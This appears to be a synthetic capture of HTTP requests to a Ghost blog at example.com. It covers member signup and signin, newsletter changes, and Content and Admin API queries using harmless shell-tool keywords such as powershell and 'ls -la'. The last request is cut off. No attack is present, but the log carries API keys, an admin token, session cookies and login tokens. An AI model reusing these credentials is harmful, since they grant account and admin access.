{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
|
|
||||||
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
|
|
||||||
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
|
|
||||||
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
|
|
||||||
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
|
|
||||||
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code 